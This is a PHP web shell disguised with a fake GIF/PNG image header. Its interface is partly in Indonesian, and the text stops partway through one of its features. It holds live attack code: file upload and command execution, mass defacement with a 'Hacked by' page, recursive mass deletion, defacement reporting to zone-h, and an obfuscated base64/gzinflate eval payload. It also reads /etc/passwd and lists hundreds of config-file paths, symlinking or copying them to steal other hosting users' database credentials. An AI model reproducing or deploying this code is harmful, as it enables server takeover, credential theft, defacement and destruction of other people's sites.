관리-도구

편집 파일: 1.php2

GIF89aô�? ÷ÿ �?�?ñUñ�?�t¨Loîm�??�?*-Sidšl�?�½ìúÿ=�?�PNG
<?php
error_reporting(0);
set_time_limit(0);

if(get_magic_quotes_gpc()){
foreach($_POST as $key=>$value){
$_POST[$key] = stripslashes($value);
}
}
echo '<!DOCTYPE HTML>
<html>
<head>

foreach($paths as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$paths[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
echo '<font color="green">Berhasil Njeng!!!</font><br />';
}else{
echo '<font color="red">Gagal Njeng!!!</font><br/>';
}
}
	if(isset($_GET['dir'])) {
	$dir = $_GET['dir'];
	chdir($dir);
} else {
	$dir = getcwd();
}
$ip = gethostbyname($_SERVER['HTTP_HOST']);
$kernel = php_uname();
$ds = @ini_get("disable_functions");
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=#00FF66>Bersih Njeng!</font>";
if(!function_exists('posix_getegid')) {
	$user = @get_current_user();
	$uid = @getmyuid();
	$gid = @getmygid();
	$group = "?";
} else {
	$uid = @posix_getpwuid(posix_geteuid());
	$gid = @posix_getgrgid(posix_getegid());
	$user = $uid['name'];
	$uid = $uid['uid'];
	$group = $gid['name'];
	$gid = $gid['gid'];
}
echo "Disable Functions : $show_ds<br>";
echo "System : <font color=#00FF66>".$kernel."</font><br>";
echo "<center>";
echo "<hr>";
echo "[ <a href='?'>Home</a> ]";
echo "[ <a href='?dir=$dir&to=zoneh'>Zone-h</a> ]";
echo "[ <a href='?dir=$dir&to=grabber'>Jumping</a> ]";
echo "[ <a href='?dir=$dir&to=sym'>Symlink</a> ]";
echo "[ <a href='?dir=$dir&to=mass'>Mass Depes</a> ]";
echo "[ <a href='?dir=$dir&do=PakDel'>Mass Delete</a>]";
echo "[ <a href='?dir=$dir&to=cmd'>Command</a> ]";
echo "[ <a href='?dir=$dir&do=adminer'>Adminer</a>]";
echo "[ <a href='?dir=$dir&to=config2'>Config V2</a>]";
echo "</center>";
echo "<hr>";
if($_GET['to'] == 'zoneh') {
	if($_POST['submit']) {
		$domain = explode("\r\n", $_POST['url']);
		$nick =  $_POST['nick'];
		echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
		echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
		function zoneh($url,$nick) {
			$ch = curl_init("http://www.zone-h.com/notify/single");
				  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
				  curl_setopt($ch, CURLOPT_POST, true);
				  curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
			return curl_exec($ch);
				  curl_close($ch);
		}
		foreach($domain as $url) {
			$zoneh = zoneh($url,$nick);
			if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
				echo "$url -> <font color=lime>OK</font><br>";
			} else {
				echo "$url -> <font color=red>ERROR</font><br>";
			}
		}
	} else {
		echo "<center><form method='post'>
		<u>Defacer</u>: <br>
		<input type='text' name='nick' size='50' value='ByME'><br>
		<u>Domains</u>: <br>
		<textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
		<input type='submit' name='submit' value='Submit' style='width: 450px;'>
		</form>";
	}
	echo "</center>";
} elseif($_GET['to'] == 'mass') {
	function sabun_massal($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $lokasi<br>";
							file_put_contents($lokasi, $isi_script);
							$idx = sabun_massal($dirc,$namafile,$isi_script);
						}
					}
				}
			}
		}
	}
	function sabun_biasa($dir,$namafile,$isi_script) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					file_put_contents($lokasi, $isi_script);
				} elseif($dirb === '..') {
					file_put_contents($lokasi, $isi_script);
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
							file_put_contents($lokasi, $isi_script);
						}
					}
				}
			}
		}
	}
	if($_POST['start']) {
		if($_POST['tipe_sabun'] == 'mahal') {
			echo "<div style='margin: 5px auto; padding: 5px'>";
			sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
			echo "</div>";
		} elseif($_POST['tipe_sabun'] == 'murah') {
			echo "<div style='margin: 5px auto; padding: 5px'>";
			sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
			echo "</div>";
		}
	} else {
	echo "<center>";
	echo "<form method='post'>
	<font style='text-decoration: underline;'>Tipe Mass:</font><br>
	<input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
	<font style='text-decoration: underline;'>Folder:</font><br>
	<input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Filename:</font><br>
	<input type='text' name='d_file' value='shin.htm' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Index File:</font><br>
	<textarea name='script' style='width: 450px; height: 200px;'>
<title>Hacked by _ByME</title><center><div id=q>Infected by Jenderal92 <br><font size=2>Icq : https://icq.im/Shin403
<br> Baku Hantam Crew - Naskleng45 - Moslem - h0d3_g4n - Kid Denta - ./sT0ry_mB3m - Mr.ARI4ANDA - 5YN15T3R_742</br>
<style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}</style></textarea><br>
	<input type='submit' name='start' value='HAJAR COK!' style='width: 450px;'>
	</form></center>";
	} 
} elseif($_GET['do'] == 'PakDel') {
	function hapus_massal($dir,$namafile) {
		if(is_writable($dir)) {
			$dira = scandir($dir);
			foreach($dira as $dirb) {
				$dirc = "$dir/$dirb";
				$lokasi = $dirc.'/'.$namafile;
				if($dirb === '.') {
					if(file_exists("$dir/$namafile")) {
						unlink("$dir/$namafile");
					}
				} elseif($dirb === '..') {
					if(file_exists("".dirname($dir)."/$namafile")) {
						unlink("".dirname($dir)."/$namafile");
					}
				} else {
					if(is_dir($dirc)) {
						if(is_writable($dirc)) {
							if(file_exists($lokasi)) {
								echo "[<font color=lime>DELETED</font>] $lokasi<br>";
								unlink($lokasi);
								$idx = hapus_massal($dirc,$namafile);
							}
						}
					}
				}
			}
		}
	}
	if($_POST['start']) {
		echo "<div style='margin: 5px auto; padding: 5px'>";
		hapus_massal($_POST['d_dir'], $_POST['d_file']);
		echo "</div>";
	} else {
	echo "<center>";
	echo "<form method='post'>
	<font style='text-decoration: underline;'>Folder:</font><br>
	<input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
	<font style='text-decoration: underline;'>Filename:</font><br>
	<input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
	<input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
	</form></center>";
	}
	
} elseif($_GET['to'] == 'sym') {
echo '<hr>';
eval(gzinflate(base64_decode('7Vf/T9tGFP89Uv6H1yOT7ZHaSRBrReKUrjCt0lakAtskqCLHPmOPi8+6u2BSyv++d+fYpE4AlVbaJhWJyHnf/b583ksnnjMGPkglJoLmLAip3ZkcH77/4/D9mXVw9Ob098N3J5P3R0cn1ocuENKFTh6oxBm2W52oNwvSTKL6fpwyahOPqtDLghmN3JBnMdFSW1uJUmhWtltpbFc6zk27tT+7jFJhk4iGwWIiFzPS7b148UIr7YdJg2Wo9JqGNmEZPJfggeBcGXpHe9/BMKyjXKUcI3qbRSgr4RfOGC+OF7Pf0uwSIzhIBQ0VFwsjAMa8m6hZu/U6ik4WOQVFr5WHeUgzcPMkB8P5NcgiRkWT2W4dByqV8QJeZwvLBJLrMGKe08y20HAQ4otLq2sVVhloYfiFSBXmGaW7ZezOcD8OGZclUYvSMOFA2q2RCqaMQsDSi8wPaaYwjCkXERX+DlZtwahvFWmkkr2fej8MS87zkDMu9rZe/tzDv6E11maE+Yw+szQexTxTYMR9ls4oyPQj9QfjYxfecXfkafZ45KnoS5QPuCnxE7VPJRVP1cVCMyx0Q9vDdyemX0M+Rz0f+vgt5oIGYVJ3JAQSls+6ObFXqaAXqU0+8oySbsVybnIkT2aBCpNJwJhtbWkBILb7o0O2rG5lRD+UidDljNlcJrZ+QsM4bAwbRIl0ZldCZ/0PZ70PjgNjGGj/nTnmAUPNuUyvJxdU5cU8jWwzaLzIqFhO2xUmJpBUesRtmqq7CIvfyB8mpszhMnEEXKjS46LCPelnNEZqAImgsY9jne95XlEUbtO3S7yqRiyQ0lfXarwuU3sJVjxpOf3qZ5bGEcuI1bzKtdXRsOXV6OBpKPASPqPemrqXz6csDSc45cwCFQjMpW9NpizILq21KJsdtAxt2UOwWshlvra3h7e3t3WqPTOvpt9uKZNUl/Lk8PjELyHSMkXL0V0RWWU7gG0EnoSI/3VAhMcQER6AROQ2UREqWIQHcLE/LtEO7sEN0/M7GzHuEZUN2PSYk3VEqvEIPgckMO9dJ4usdApuXSKIA1wAvU6VTU4z8/aKg5YFrfjMVB6KRLfZs5hyXLaa7ujGgo7e0jG2vlxSjUODYlSzAiGChV1SdUB3IIcte+4huL1yzvfOPU9qhJPdWrdpaPWQIOVEdvFqqCRw9o3GHQrWhhD5+gP49AnWGL4PPc24c+MDmaYZWSPqlP3V73uxXOddBcJj6dTL7mMGIi80aTP3gucJFes8uTEQYy+arTPmEk0hNN0TQ6zyzW+VbWJoDcTfzQxzhxEHk423mEqzOb0bID0gDzXuho3wYLevwLzWq0KpFMmq50cMVBj/AMQ3XKwi/BrA1wMY3DN9Gr9rlKkmownmJZTr+5VLeIYJ/jPNIl5I4tzci9mbEFtfsGt4fYfW6PkLAbvXe/kNoLrd+mqwfgCpq0Ing2WZrcsBYzs70aAuDxxTcUXFyEsG428C7m8P/lVgV3SWY6IIGXbwQOvjY888DTTW65schfAAtZfskQ+GW37d3nbgpoPXnv5h1bj/jMASQfFwQJJTOnN9+JunWLY9q2vILjnPsHGrSlijqfDG1rAKrTw+9ZdlA+4i0URllo+iUrk4jgjeRblY4nxeLY/d7lJRk1dGZxdNray0ap9tsvpV+2x9mX2bTfZ9jX1fY//nNdYYxw2bbORF6RV+LoMmw3mmza5MplG6Bb3v4E59EwK+CbKM4yvjz2hFoYmHtQdtrvx/Nf4H')));
}
if($_GET['to'] == 'config2') {
			if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
echo '<script>alert("Tidak bisa di gunakan di server windows")</script>';
exit;
}
	if($_POST){	if($_POST['config'] == 'symvhosts') {
		@mkdir("code_symvhosts", 0777);
exe("ln -s / code_symvhosts/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex code.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("code_symvhosts/.htaccess",$htaccess);
		$etc_passwd=$_POST['passwd'];
    
    $etc_passwd=explode("\n",$etc_passwd);
foreach($etc_passwd as $passwd){
$pawd=explode(":",$passwd);
$user =$pawd[5];
$jembod = preg_replace('/\/var\/www\/vhosts\//', '', $user);
if (preg_match('/vhosts/i',$user)){
exe("ln -s ".$user."/httpdocs/wp-config.php code_symvhosts/".$jembod."-Wordpress.txt");
exe("ln -s ".$user."/httpdocs/configuration.php code_symvhosts/".$jembod."-Joomla.txt");
exe("ln -s ".$user."/httpdocs/config/koneksi.php code_symvhosts/".$jembod."-Lokomedia.txt");
exe("ln -s ".$user."/httpdocs/forum/config.php code_symvhosts/".$jembod."-phpBB.txt");
exe("ln -s ".$user."/httpdocs/sites/default/settings.php code_symvhosts/".$jembod."-Drupal.txt");
exe("ln -s ".$user."/httpdocs/config/settings.inc.php code_symvhosts/".$jembod."-PrestaShop.txt");
exe("ln -s ".$user."/httpdocs/app/etc/local.xml code_symvhosts/".$jembod."-Magento.txt");
exe("ln -s ".$user."/httpdocs/admin/config.php code_symvhosts/".$jembod."-OpenCart.txt");
exe("ln -s ".$user."/httpdocs/application/config/database.php code_symvhosts/".$jembod."-Ellislab.txt"); 
}}}
if($_POST['config'] == 'symlink') {
@mkdir("code_Symconfig", 0777);
@symlink("/","code_Symconfig/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex code.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any";
@file_put_contents("code_Symconfig/.htaccess",$htaccess);}
if($_POST['config'] == '404') {
@mkdir("code_sym404", 0777);
@symlink("/","code_sym404/root");
$htaccess="Options Indexes FollowSymLinks
DirectoryIndex code.htm
AddType text/plain .php 
AddHandler text/plain .php
Satisfy Any
IndexOptions +Charset=UTF-8 +FancyIndexing +IgnoreCase +FoldersFirst +XHTML +HTMLTable +SuppressRules +SuppressDescription +NameWidth=*
IndexIgnore *.txt404
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} ^.*code_sym404 [NC]
RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
@file_put_contents("code_sym404/.htaccess",$htaccess);
}
if($_POST['config'] == 'grab') {
						mkdir("code_configgrab", 0777);
						$isi_htc = "Options all\nRequire None\nSatisfy Any";
						$htc = fopen("code_configgrab/.htaccess","w");
						fwrite($htc, $isi_htc);	
}
$passwd = $_POST['passwd'];

preg_match_all('/(.*?):x:/', $passwd, $user_config);
foreach($user_config[1] as $user_code) {
$grab_config = array(
"/home/$user_code/.accesshash" => "WHM-accesshash",
"/home/$user_code/public_html/config/koneksi.php" => "Lokomedia",
"/home/$user_code/public_html/forum/config.php" => "phpBB",
"/home/$user_code/public_html/sites/default/settings.php" => "Drupal",
"/home/$user_code/public_html/config/settings.inc.php" => "PrestaShop",
"/home/$user_code/public_html/app/etc/local.xml" => "Magento",
"/home/$user_code/public_html/admin/config.php" => "OpenCart",
"/home/$user_code/public_html/application/config/database.php" => "Ellislab",
"/home/$user_code/public_html/vb/includes/config.php" => "Vbulletin",
"/home/$user_code/public_html/includes/config.php" => "Vbulletin",
"/home/$user_code/public_html/forum/includes/config.php" => "Vbulletin",
"/home/$user_code/public_html/forums/includes/config.php" => "Vbulletin",
"/home/$user_code/public_html/cc/includes/config.php" => "Vbulletin",
"/home/$user_code/public_html/inc/config.php" => "MyBB",
"/home/$user_code/public_html/includes/configure.php" => "OsCommerce",
"/home/$user_code/public_html/shop/includes/configure.php" => "OsCommerce",
"/home/$user_code/public_html/os/includes/configure.php" => "OsCommerce",
"/home/$user_code/public_html/oscom/includes/configure.php" => "OsCommerce",
"/home/$user_code/public_html/products/includes/configure.php" => "OsCommerce",
"/home/$user_code/public_html/cart/includes/configure.php" => "OsCommerce",
"/home/$user_code/public_html/inc/conf_global.php" => "IPB",
"/home/$user_code/public_html/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/wp/test/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/blog/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/beta/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/portal/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/site/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/wp/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/WP/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/news/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/wordpress/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/test/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/demo/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/home/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/v1/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/v2/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/press/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/new/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/blogs/wp-config.php" => "Wordpress",
"/home/$user_code/public_html/configuration.php" => "Joomla",
"/home/$user_code/public_html/blog/configuration.php" => "Joomla",
"/home/$user_code/public_html/submitticket.php" => "^WHMCS",
"/home/$user_code/public_html/cms/configuration.php" => "Joomla",
"/home/$user_code/public_html/beta/configuration.php" => "Joomla",
"/home/$user_code/public_html/portal/configuration.php" => "Joomla",
"/home/$user_code/public_html/site/configuration.php" => "Joomla",
"/home/$user_code/public_html/main/configuration.php" => "Joomla",
"/home/$user_code/public_html/home/configuration.php" => "Joomla",
"/home/$user_code/public_html/demo/configuration.php" => "Joomla",
"/home/$user_code/public_html/test/configuration.php" => "Joomla",
"/home/$user_code/public_html/v1/configuration.php" => "Joomla",
"/home/$user_code/public_html/v2/configuration.php" => "Joomla",
"/home/$user_code/public_html/joomla/configuration.php" => "Joomla",
"/home/$user_code/public_html/new/configuration.php" => "Joomla",
"/home/$user_code/public_html/WHMCS/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/whmcs1/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Whmcs/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/whmcs/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/WHMC/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Whmc/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/whmc/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/WHM/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Whm/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/whm/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/HOST/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Host/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/host/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/SUPPORTES/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Supportes/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/supportes/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/domains/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/domain/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Hosting/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/HOSTING/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/hosting/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/CART/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Cart/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/cart/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/ORDER/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Order/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/order/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/CLIENT/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Client/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/client/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Clientarea/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/clientarea/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/SUPPORT/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Support/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/support/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/BILLING/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Billing/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/billing/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/BUY/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Buy/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/buy/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/MANAGE/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Manage/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/manage/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/ClientSupport/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Clientsupport/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/clientsupport/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/CHECKOUT/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Checkout/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/checkout/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/BASKET/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Basket/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/basket/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/SECURE/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Secure/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/secure/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/SALES/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Sales/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/sales/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/BILL/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Bill/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/bill/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/PURCHASE/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Purchase/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/purchase/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/ACCOUNT/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Account/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/account/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/USER/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/User/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/user/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/CLIENTS/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Clients/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/clients/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/MY/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/My/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/my/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/secure/whm/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/secure/whmcs/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/panel/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/clientes/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/cliente/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/support/order/submitticket.php" => "WHMCS",
"/home/$user_code/public_html/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/boxbilling/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/box/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/host/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/Host/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/supportes/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/support/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/hosting/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/cart/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/order/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/client/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/clients/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/cliente/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/clientes/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/billing/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/billings/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/my/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/secure/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/support/order/bb-config.php" => "BoxBilling",
"/home/$user_code/public_html/includes/dist-configure.php" => "Zencart",
"/home/$user_code/public_html/zencart/includes/dist-configure.php" => "Zencart",
"/home/$user_code/public_html/products/includes/dist-configure.php" => "Zencart",
"/home/$user_code/public_html/cart/includes/dist-configure.php" => "Zencart",
"/home/$user_code/public_html/shop/includes/dist-configure.php" => "Zencart",
"/home/$user_code/public_html/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/hostbills/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/host/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/Host/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/supportes/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/support/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/hosting/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/cart/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/order/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/client/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/clients/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/cliente/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/clientes/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/billing/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/billings/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/my/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/secure/includes/iso4217.php" => "Hostbills",
"/home/$user_code/public_html/support/order/includes/iso4217.php" => "Hostbills"
);

foreach($grab_config as $config => $nama_config) {
	if($_POST['config'] == 'grab') {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("code_configgrab/$user_code-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
if($_POST['config'] == 'symlink') {
@symlink($config,"code_Symconfig/".$user_code."-".$nama_config.".txt");
}
if($_POST['config'] == '404') {
$sym404=symlink($config,"code_sym404/".$user_code."-".$nama_config.".txt");
if($sym404){
	@mkdir("code_sym404/".$user_code."-".$nama_config.".txt404", 0777);
	$htaccess="Options Indexes FollowSymLinks
DirectoryIndex code.htm
HeaderName code.txt
Satisfy Any
IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
IndexIgnore *";

@file_put_contents("code_sym404/".$user_code."-".$nama_config.".txt404/.htaccess",$htaccess);

@symlink($config,"code_sym404/".$user_code."-".$nama_config.".txt404/code.txt");

}

}     
		}  if($_POST['config'] == 'grab') {
            echo "<center><a href='code_configgrab'><font color=lime>Done</font></a></center>";
		}
    if($_POST['config'] == '404') {
        echo "<center>
<a href=\"code_sym404/root/\">SymlinkNya</a>
<br><a href=\"code_sym404/\">Configurations</a></center>";
    }
     if($_POST['config'] == 'symlink') {
echo "<center>
<a href=\"code_Symconfig/root/\">Symlinknya</a>
<br><a href=\"code_Symconfig/\">Configurations</a></center>";
			}if($_POST['config'] == 'symvhost') {
echo "<center>
<a href=\"code_symvhost/root/\">Root Server</a>
<br><a href=\"code_symvhost/\">Configurations</a></center>";
			}
		
		
		}else{
        echo "<form method=\"post\" action=\"\"><center>
		</center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>\n";
        echo include("/etc/passwd"); 
        echo "</textarea><br><br>
        <select class=\"select\" name=\"config\"  style=\"width: 450px;\" height=\"10\">
        <option value=\"grab\">Config Grab</option>
        <option value=\"symlink\">Symlink Config</option>
		<option value=\"404\">Config 404</option>
		<option value=\"symvhosts\">Vhosts Config Grabber</option><br><br><input type=\"submit\" value=\"Start!!\"></td></tr></center>\n";
}
} elseif ($_GET['do'] == 'adminer') {
    $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
    function adminer($url, $isi) {
        $fp = fopen($isi, "w");
        $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL, $url);
              curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
              curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
              curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
              curl_setopt($ch, CURLOPT_FILE, $fp);
        return curl_exec($ch);
              curl_close($ch);
        fclose($fp);
        ob_flush();
        flush();
    }
    if(file_exists('adminer.php')) {
        echo "<center><font color=blue><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
    } else {
        if(adminer("https://github.com/vrana/adminer/releases/download/v4.7.7/adminer-4.7.7.php","adminer.php")) {
            echo "<center><font color=blue><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
        } else {
            echo "<center><font color=red>gagal buat file adminer</font></center>";
        }
        }
} elseif($_GET['to'] == 'jumping') {
	$i = 0;
	echo "<div class='margin: 5px auto;'>";
	if(preg_match("/hsphere/", $dir)) {
		$urls = explode("\r\n", $_POST['url']);
		if(isset($_POST['jump'])) {
			echo "<pre>";
			foreach($urls as $url) {
